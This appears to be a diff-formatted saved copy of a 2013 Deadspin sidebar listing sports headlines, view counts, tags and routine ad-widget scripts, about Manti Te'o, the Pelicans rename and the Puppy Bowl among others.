+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="18064 pageviews, 362 visitors, 62 comments" alt="18064 pageviews, 362 visitors, 62 comments">18,064</span>
+
+ <a class="headline" href="http://deadspin.com/5978707/a-treasure-trove-of-animal-murder-stories-for-your-super-bowl-bye-week">
+ <span class="headline-txt">A Treasure Trove Of Animal Murder Stories For Your Super Bowl Off-Week<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978620" class="postid_5978620 issued_1359059408 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978620/you-have-to-work-out-to-get-a-workout">
+ <img class="thumb" src="./deadspin_files/xsmall(9).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_86578359" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_86578359" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_86578359').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":86578359,"variant":"default","tags":["iofthetiger","workouts","exercise","fitness","health","top","news"],"headline":"You Have To Work Out To Get A Wo [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/i-of-the-tiger/" class="tag modfont">
+ <span class="taglink">i of the tiger</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">3:30 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="35551 pageviews, 5597 visitors, 134 comments" alt="35551 pageviews, 5597 visitors, 134 comments">35,551</span>
+
+ <a class="headline" href="http://deadspin.com/5978620/you-have-to-work-out-to-get-a-workout">
+ <span class="headline-txt">You Have To Work Out To Get A Workout<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978767" class="postid_5978767 issued_1359058817 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978767/the-new-orleans-hornets-are-officially-the-new-orleans-pelicans">
+ <img class="thumb" src="./deadspin_files/xsmall(10).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_91924071" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_91924071" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_91924071').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":91924071,"variant":"default","tags":["neworleanspelicans","neworleanshornets","nba","pelicans","mascots","teamnames","news","logos"],"headline":"The N [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/new-orleans-pelicans/" class="tag modfont">
+ <span class="taglink">new orleans pelicans</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">3:20 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="31892 pageviews, 2200 visitors, 57 comments" alt="31892 pageviews, 2200 visitors, 57 comments">31,892</span>
+
+ <a class="headline" href="http://deadspin.com/5978767/the-new-orleans-hornets-are-officially-the-new-orleans-pelicans">
+ <span class="headline-txt">The New Orleans Hornets Are Officially The New Orleans Pelicans<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978747" class="postid_5978747 issued_1359058511 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978747/darelle-revis-is-not-happy-about-those-trade-rumors-that-the-jets-refuse-to-address">
+ <img class="thumb" src="./deadspin_files/xsmall(11).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_46106749" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_46106749" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(6).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_46106749').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":46106749,"variant":"default","tags":["loljets","darellerevis","newyorkjets","woodyjohnson","traderumors","nfl","football","news","gettypic"],"headline [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/loljets/" class="tag modfont">
+ <span class="taglink">LOLJets</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">3:15 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="12749 pageviews, 231 visitors, 29 comments" alt="12749 pageviews, 231 visitors, 29 comments">12,749</span>
+
+ <a class="headline" href="http://deadspin.com/5978747/darelle-revis-is-not-happy-about-those-trade-rumors-that-the-jets-refuse-to-address">
+ <span class="headline-txt">Darelle Revis Is Not Happy About Those Trade Rumors That The Jets Refuse To Address<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978760" class="postid_5978760 issued_1359057600 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978760/manti-teos-interview-with-katie-couric-a-liveblog">
+ <img class="thumb" src="./deadspin_files/xsmall(12).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_42992560" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_42992560" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_42992560').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":42992560,"variant":"default","tags":["mantiteovskatiecouric","mantiteo","lennaykekua","katiecouric","notredamefightingirish","ronaiahtuiasosopo","hoax [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/manti-te.o-vs%27-katie-couric/" class="tag modfont">
+ <span class="taglink">manti te'o vs. katie couric</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">3:00 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="74285 pageviews, 4783 visitors, 223 comments" alt="74285 pageviews, 4783 visitors, 223 comments">74,285</span>
+
+ <a class="headline" href="http://deadspin.com/5978760/manti-teos-interview-with-katie-couric-a-liveblog">
+ <span class="headline-txt">Manti Te’o’s Interview With Katie Couric: A Liveblog<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978741" class="postid_5978741 issued_1359054366 blip ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978741/">
+ <img class="thumb" src="./deadspin_files/xsmall(13).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_37490201" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_37490201" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_37490201').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":37490201,"variant":"default","tags":["puppybowl"],"headline":"The Puppy Bowl lineup has been released.","issued":"Thu, 24 Jan 2013 19:06:06 +0000","po [...]
+</script></div> </div>
+
+ <div class="text">
+
+
+ <span class="headline-txt">
+<p><a href="http://deadspin.com/5978741/" class="headline" style="display: inline; text-decoration: none;">The Puppy Bowl lineup </a><a href="http://animal.discovery.com/tv-shows/puppy-bowl/photos/ix-starting-lineup-pictures.htm">has been released</a><a href="http://deadspin.com/5978741/" class="headline" style="display: inline; text-decoration: none;">. Harry FTW.</a></p> </span>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978706" class="postid_5978706 issued_1359053100 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978706/minor-league-hockey-teams-beer+chugging-intermission-show-results-in-fans-puking-on-the-ice">
+ <img class="thumb" src="./deadspin_files/xsmall(14).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_90338598" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_90338598" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_90338598').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":90338598,"variant":"default","tags":["minorleaguehockey","fans","rapidcityrush","hockey","centralhockeyleague"],"headline":"Minor League Hockey Team's [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/minor-league-hockey/" class="tag modfont">
+ <span class="taglink">minor league hockey</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">1:45 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="26047 pageviews, 2990 visitors, 37 comments" alt="26047 pageviews, 2990 visitors, 37 comments">26,047</span>
+
+ <a class="headline" href="http://deadspin.com/5978706/minor-league-hockey-teams-beer+chugging-intermission-show-results-in-fans-puking-on-the-ice">
+ <span class="headline-txt">Minor League Hockey Team’s Beer-Chugging Intermission Show Results In Fans Puking On The Ice<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978713" class="postid_5978713 issued_1359051600 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978713/listen-to-manti-teos-voicemails-from-lennay-kekuaronaiah-tuiasosopo">
+ <img class="thumb" src="./deadspin_files/xsmall(15).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_46048083" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_46048083" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_46048083').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":46048083,"variant":"default","tags":["mantiteo","lennaykekua","audio","voicemails","lennaykekuavoicemails","notredamefightingirish","ronaiahtuiasosopo [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/manti-te.o/" class="tag modfont">
+ <span class="taglink">manti te'o</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">1:20 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="100090 pageviews, 22088 visitors, 239 comments" alt="100090 pageviews, 22088 visitors, 239 comments">100,090</span>
+
+ <a class="headline" href="http://deadspin.com/5978713/listen-to-manti-teos-voicemails-from-lennay-kekuaronaiah-tuiasosopo">
+ <span class="headline-txt">Listen To Manti Te’o’s Voicemails From Lennay Kekua/Ronaiah Tuiasosopo<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978704" class="postid_5978704 issued_1359049500 noThumb ">
+ <div class="wrapper">
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_28202216" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_28202216" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_28202216').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":28202216,"variant":"default","tags":["kotakulongreads","furtherconfusion","furries","conventions"],"headline":"My Weekend At A Furry Convention","issu [...]
+</script></div> </div>
+
+ <div class="text">
+
+
+ <a class="headline" href="http://kotaku.com/5978236/my-weekend-at-a-furry-convention" target="_blank">
+ <span class="headline-txt"><span class="quicklinkIcon"></span>My Weekend At A Furry Convention<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978674" class="postid_5978674 issued_1359047108 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978674/manti-teo-joins-notre-dames-long-tradition-of-bullshit">
+ <img class="thumb" src="./deadspin_files/xsmall(16).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_11715250" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_11715250" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_11715250').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":11715250,"variant":"default","tags":["mantiteo","nosuchdame","hoaxes","notredame","knutrockne","rudy","myths","news","republished","top","bloombergvie [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/manti-te.o/" class="tag modfont">
+ <span class="taglink">manti te'o</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">12:05 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="42039 pageviews, 3295 visitors, 126 comments" alt="42039 pageviews, 3295 visitors, 126 comments">42,039</span>
+
+ <a class="headline" href="http://deadspin.com/5978674/manti-teo-joins-notre-dames-long-tradition-of-bullshit">
+ <span class="headline-txt">Manti Te’o Joins Notre Dame’s Long Tradition Of Bullshit<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978111" class="postid_5978111 issued_1359043500 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978111/a-history-lesson-for-sacramento-how-kansas-city-lost-the-kings">
+ <img class="thumb" src="./deadspin_files/xsmall(17).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_83648750" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_83648750" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_83648750').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":83648750,"variant":"default","tags":["sacramentokings","kansascitykings","nba","seattlesupersonics","kansascity","franchiserelocation","maloofs","davi [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/sacramento-kings/" class="tag modfont">
+ <span class="taglink">sacramento kings</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">11:05 AM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="32126 pageviews, 3554 visitors, 92 comments" alt="32126 pageviews, 3554 visitors, 92 comments">32,126</span>
+
+ <a class="headline" href="http://deadspin.com/5978111/a-history-lesson-for-sacramento-how-kansas-city-lost-the-kings">
+ <span class="headline-txt">A History Lesson For Sacramento: How Kansas City Lost The Kings<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978608" class="postid_5978608 issued_1359041400 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978608/what-did-lou-holtz-text-john-boehner-after-obamas-inauguration">
+ <img class="thumb" src="./deadspin_files/xsmall(18).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_73583910" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_73583910" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(13).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_73583910').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":73583910,"variant":"default","tags":["louholtz","ballsdeep","collegefootball","louholtzpolitics","johnboehner","news"],"headline":"What Did Lou Holtz [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/lou-holtz/" class="tag modfont">
+ <span class="taglink">lou holtz</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">10:30 AM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="39060 pageviews, 1404 visitors, 79 comments" alt="39060 pageviews, 1404 visitors, 79 comments">39,060</span>
+
+ <a class="headline" href="http://deadspin.com/5978608/what-did-lou-holtz-text-john-boehner-after-obamas-inauguration">
+ <span class="headline-txt">What Did Lou Holtz Text John Boehner After Obama’s Inauguration?<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978618" class="postid_5978618 issued_1359039917 video ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink autoplay" href="http://deadspin.com/5978618/javale-mcgee-throws-himself-an-alley+oop-dons-a-celebratory-fingerstache">
+ <img class="thumb" src="./deadspin_files/xsmall(19).jpg" width="80" height="45" alt="">
+ <img src="./deadspin_files/icon-video.png" class="icon video">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_60846940" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_60846940" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(11).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_60846940').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":60846940,"variant":"default","tags":["thatssojavale","highlightreel","javalemcgee","denvernuggets","basketball","news"],"headline":"JaVale McGee Throw [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/that.s-so-javale/" class="tag modfont">
+ <span class="taglink">that's so javale</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">10:05 AM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="32568 pageviews, 1993 visitors, 46 comments" alt="32568 pageviews, 1993 visitors, 46 comments">32,568</span>
+
+ <a class="headline autoplay" href="http://deadspin.com/5978618/javale-mcgee-throws-himself-an-alley+oop-dons-a-celebratory-fingerstache">
+ <span class="headline-txt">JaVale McGee Throws Himself An Alley-Oop, Dons A Celebratory Fingerstache<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978612" class="postid_5978612 issued_1359039858 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978612/this-is-what-serena-williamss-ankle-looks-like">
+ <img class="thumb" src="./deadspin_files/xsmall(20).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_25643288" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_25643288" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_25643288').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":25643288,"variant":"default","tags":["serenawilliams","news","injuries","serenawilliamsankle"],"headline":"This Is What Serena Williams's Ankle Looks [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/serena-williams/" class="tag modfont">
+ <span class="taglink">serena williams</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">10:04 AM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="48185 pageviews, 8954 visitors, 59 comments" alt="48185 pageviews, 8954 visitors, 59 comments">48,185</span>
+
+ <a class="headline" href="http://deadspin.com/5978612/this-is-what-serena-williamss-ankle-looks-like">
+ <span class="headline-txt">This Is What Serena Williams’s Ankle Looks Like<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978604" class="postid_5978604 issued_1359038485 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978604/hoaxer-ronaiah-tuiasosopo-apparently-pretended-to-be-lennay-during-phone-calls-with-manti-teo">
+ <img class="thumb" src="./deadspin_files/xsmall(21).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_31378846" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_31378846" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(4).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_31378846').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":31378846,"variant":"default","tags":["mantiteo","nosuchdame","hoaxes","ronaiahtuiasosopo","notredame","lennaykekua","collegefootball","catfish","news" [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/manti-te.o/" class="tag modfont">
+ <span class="taglink">manti te'o</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">9:41 AM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="38643 pageviews, 4264 visitors, 174 comments" alt="38643 pageviews, 4264 visitors, 174 comments">38,643</span>
+
+ <a class="headline" href="http://deadspin.com/5978604/hoaxer-ronaiah-tuiasosopo-apparently-pretended-to-be-lennay-during-phone-calls-with-manti-teo">
+ <span class="headline-txt">Lawyer: Hoaxer Ronaiah Tuiasosopo Pretended To Be “Lennay” During Phone Calls With Manti Te’o<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978613" class="postid_5978613 issued_1359038453 blip ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978613/">
+ <img class="thumb" src="./deadspin_files/xsmall(22).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_87383029" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_87383029" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_87383029').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":87383029,"variant":"default","tags":["colinkaepernick"],"headline":"Colin Kaepernick files for the trademark","issued":"Thu, 24 Jan 2013 14:40:53 +000 [...]
+</script></div> </div>
+
+ <div class="text">
+
+
+ <span class="headline-txt">
+<p><a href="http://deadspin.com/5978613/" class="headline" style="display: inline; text-decoration: none;">Colin Kaepernick </a><a href="http://espn.go.com/nfl/playoffs/2012/story/_/id/8874764/2013-nfl-playoffs-colin-kaepernick-san-francisco-49ers-wants-trademark-kaepernicking">files for the trademark "Kaepernicking."</a><a href="http://deadspin.com/5978613/" class="headline" style="display: inline; text-decoration: none;"> Just in case it becomes a thing, which it definitely isn't.</a>< [...]
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978601" class="postid_5978601 issued_1359036951 noThumb blip ">
+ <div class="wrapper">
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_13339816" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_13339816" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
